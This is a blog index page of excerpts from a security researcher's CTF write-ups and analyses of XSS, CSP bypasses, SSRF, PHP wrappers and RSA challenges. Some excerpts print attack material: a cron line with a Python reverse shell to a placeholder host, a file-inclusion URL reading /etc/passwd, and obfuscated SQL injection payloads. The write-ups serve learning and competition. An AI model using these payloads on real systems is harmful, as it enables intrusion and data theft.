LoRexxar's Blog

浅谈xss的后台守护问题

在出好HCTF2016的两道xss题目后,就有了一个比较严重的问题就是,如何守护xss的后台,用不能人工一直在后台刷新吧(逃 一般来说,之所以python的普通爬虫不能爬取大多数的网站的原因,是因为大多数网站都把显示数据的方式改成了js执行,通过各种各样的方式,然后输出到页面中,浏览器一般帮助你完成这部分js的解析,所以我们使用的时候,就感受不到阻碍了。 但是对于普通的爬虫来说,这就是比较致命的了,那么对于python的爬虫来说,我们一般使用比较轻量级的selenium+phantomjs来解决,但是如果你的xss题目对浏览器内核有需求呢? 就好像我这里的题目guestbook浏览器要...

pwnhub_拍卖行

算是第一次做pwn题,不过有点不得不说,整个题目几乎都是web思路,除了分析bin的部分需要一点儿别的知识,其余都可以web直接做,下面稍微说下吧 由于各种各样的原因吧,最后还是被取消了成绩,不想解释太多,下面的wp已经把之前没有写过的部分全部修改增加上了,整个思路除了使用别人的poc修改,全部都是自己的思路,从一个web选手的角度去思考而已… 总览整个网站,存在任意文件包含漏洞,但是整个站都是假的,没有任何功能。 http://54.223.241.254/?page=/etc/passwd 这里可以读任意文件1234567891011121314151617181920212223...

pwnhub_找朋友

先膜tomato师傅出的题,偷马桶师傅出的题一直都是渗透思路,这点我是服的,顺手膜小m…因为在找真是ip这一步我花了十几个小时都失败了,当时的思路还留在博客里,算是个纪念吧… 首先下载下来判断文件类型是一个win程序,猜测是类似于木马样式,于是虚拟机打开抓包,发现了请求向http://shell.pwnme.site,但是无论通过whois反查还是别的,都没有收获,那么唯一的思路是扫子域名。 于是扫一波域名找到了http://blog.pwnme.site,一个python的站,有一些信息:1、存在登陆注册,user_login和user_register,登陆后从源码里看到了file...

pwnhub_WTF_writeup

周五晚上本来是看剧看到累,然后打会儿游戏的日子,一切的祸因都是大黑客告诉我pwnhub开始了Orz… 然而本以为思路是一帆风顺的,结果成功xss自己后,搞不定admin的问题,绝望到寝室断电…然而离flag只有一个转身的距离… 先看看题目信息123456题目介绍http://54.223.108.205:23333 --------- 12.10 00.00 admin只是一个用户名 没有特权 进去后测试下整个题目逻辑,发现了几点 1、登陆注册都有验证码 2、新建article传入title和content,会有可以看的页面 3、views.php通过传入id的base64判断,id递...

using polyglot JPEGs bypass CSP 分析

前段时间,外国爆出来的新的bypass CSP方式,这里稍微研究下。 http://blog.portswigger.net/2016/12/bypassing-csp-using-polyglot-jpegs.html 但实际检查整个逻辑之后,我觉得应该算作是对上传检查的绕过,不能算作是bypass csp 文章里提到通过创建一个多语言的JavaScript/JPEG 来绕过CSP,他给了两张demo图片,回顾整个逻辑。 我们打开给出的demo图片和随便一张jpg图片,首先前四位是JPEG头0xFF 0xD8 0xFF 0xE0,如果你曾尝试过把一张图片当作script来执行的话,应...

通过redis getshell的一些小问题

之前在出AT Field的时候,在通过redis弹shell的过程中遇到一些问题,今天专门测试一下,解决一些疑惑 这里我们不考虑如何写入redis中,只考虑从redis到服务器这个过程 使用两种反弹shell的方式,第一种是python弹的 1* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",6666));os.dup2(s.fileno(),0); os.dup2(s.file...

hctf2016 简单部分WEB && misc writeup

因为队伍里没有专门的misc选手,所以其实这次比赛的的misc都是我们凑的,除了最开始的杂项签到,只有你所知道的隐写就仅此而已嘛不是我出的,这里稍微整理一下,整体misc都非常简单,唯一一个比较难的misc题目还因为我的出题失误导致基本上只有一个师傅做题方式接近我的正解,下面稍微研究一下简单的web部分和misc题目 level12099年的flag题目描述:only ios99 can get flag(Maybe you can easily get the flag in 2099最终分数:10pt完成人数:226 进去后发现这么一句话,相信有经验的人第一时间就能反应过来是要改u...

hctf2016 guestbook&secret area writeup

这次比赛专门出了两个xss题目,前段时间阅读了几篇和CSP有关的文章,有了一些特别的理解,所以就专门出了2题 第一题guestbook思路来自于http://paper.seebug.org/91/ 当然我自己也写了分析文章http://lorexxar.cn/2016/10/28/csp-then/ 源码https://github.com/LoRexxar/hctf2016_guestbook 出题思路主要来自于CSP对域的限制,但是没想到翻车了,忘记了location的问题,导致guestbook的做法简单了一倍多,在中途的时候突然发现了几个特殊的payload,发现题目思路和去年...

HCTF2016 ATField writeup

出题的时候,主要思路是来源于2016wooyun峰会中猪猪侠的ppt,里面提到了很多关于ssrf的利用方式,而且国内其实对ssrf的研究并不多,所以一直有想法出一个这样的题,但是由于时间仓促再加上对flask的不熟悉,导致在出题的时候浪费了很多时间,而且还没能出得特别好。 题目源码 由于出题的时候僵化,误解了所谓系统处理输出输入流的问题,所以一直以为ubuntu内核的centos不能正确处理,所以这里一直以为只能通过python来弹shell,由于python的shell应该默认为root…所以我在守题目的时候,每当看到正确的payload就先私聊希望不要搞事情,也做好了随时重启dock...

hctf2016 giligili writeup

题目是我很早以前做的sctf q1中的web500,我做的时候踩了坑,所以花了很久,感觉题目很有意思,所以就修改了题目又放上来了。 正解wphttps://github.com/sternze/CTF_writeups/blob/master/sCTF/2016_Q1/obfuscat/readme.md 最终分数:124完成队伍:64 解题人数意外的多,感觉还是有很多py的人,迷… 分析代码1h = new MersenneTwister(parseInt(btoa(answer[_[$[6]]](0, 4)), 32)); 首先我们根据第一句得到h,h为一个伪随机的数组,根据前四位...

CSP进阶-302 Bypass CSP

CSP真神奇,前段时间看了一篇国外的文章,导致有了新的体验,302不仅仅可以在ssrf中有特殊的表现,就连csp也可以,很强势 原文连接 漏洞让我们逐步分析漏洞的成因 根据文章,首先我们意识到如果我们构造一个重定向,就可以bypass CSP的域限制,在分析之前,我们先看一个测试页面 12345678910111213141516<?php header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/"); ?> <html> <...

CSP进阶-link Bypass unsafe line

随着时代的发展,XSS也成不可磨灭的漏洞之一,但是攻和防的进化总是相互交织的,所以CSP也应运而成,以白名单为基础而建立的防御策略本以为会是xss的克星,但事实并不是这样的,曾经也写过一篇文章 我的CSP科普文章http://lorexxar.cn/2016/08/08/ccsp/ 里面也提到了一些关于bypass的手段,但是没想到有些东西有点儿太过简单了,所以在看到知道创宇的文章时候有了新的想法http://paper.seebug.org/91/ 在原来的文章中,我主要提到了两种攻击手段,第一种是 1、script-src self unsafe-inline 在很多大型的站中我们...

hitcon2016 web writeup

当大家在为祖国母亲庆生的时候,我在打lctf,当大家正为休息而搁置的事情忙碌的时候,我在打hitcon,不过虽然有点儿辛苦,但是一场国内的优质比赛加上顶级的国外比赛,还是让我打开了新世界的大门,orange菊苣大法叼… webare you rich 1&2说实话这题做的也是迷迷糊糊的,反正就是莫名其妙就done了 简单来说就是get address可以得到一个bitcoin的address,但是里面并没有钱。 但是购买flag是需要钱的。 翻了翻发现是存在注入,但是当时也没想着要注入,是找个了世界上最大的bitcoin账户地址,然后通过联合查询绕过对于前缀地址的检查,然后就...

L-ctf2016 Writeup

在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌… WEBweb1 Can you get the flag稍微研究下,发现是注入 1Password :' oorr (seleselectct/**/ sleep(100))# 显错注入 1payload: '/**/anandd/**/updaupdatexmltexml(0,concat(0x27,(seleselectct/**...

php 伪协议

最近php伪协议的各种神奇妙用好像突然又常常提到了,php中支持的伪协议有下面这么多123456789101112file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流(I/O streams)zlib:// — 压缩流data:// — 数据(RFC 2397)glob:// — 查找匹配的文件路径模式phar:// — PHP 归档ssh2:// — Secure Shell 2rar:// — RARogg:// — 音频流expect:// — 处理交互式的流 今天着重...

华山杯2016_writeup

今年华山杯体验比去年要差一点儿…感觉太多的题目都很迷,其余几道比较不错的题目基本都是国外抄来的原题,甚至于文件读取的题目有洞,所有的题目又在一个环境下。。。导致各种非预期,整理下wp慢慢来吧… web打不过没什么意思的一题,返回头有str base64解码然后解md5 12>>> base64.b64decode("OGM0MzU1NTc3MTdhMTQ4NTc4ZmQ4MjJhYWVmOTYwNzk=")'8c435557717a148578fd822aaef96079' flag is:flag_Xd{hSh_ctf:XD_aA@lvmM} 弹弹弹12<i...

crypto 简单的RSA

前段时间没事做就去玩了玩国外的icectf,虽然没听说过,但是题目还不错,比较新手向,遇到很多有意思的题目,其中就包括很多简单的crypto题目,密码学一直是信安很重要的东西,但是没天赋学不好,无意中接触了下实战,稍微记录下… RSA没啥可说的,n,d,e,phi都有,直接python解就可以了 1234567891011直接python解>>> m = pow(c,d,n)>>> m384365526052440202360459651805033449148582243524328138349913683453506738455616163926...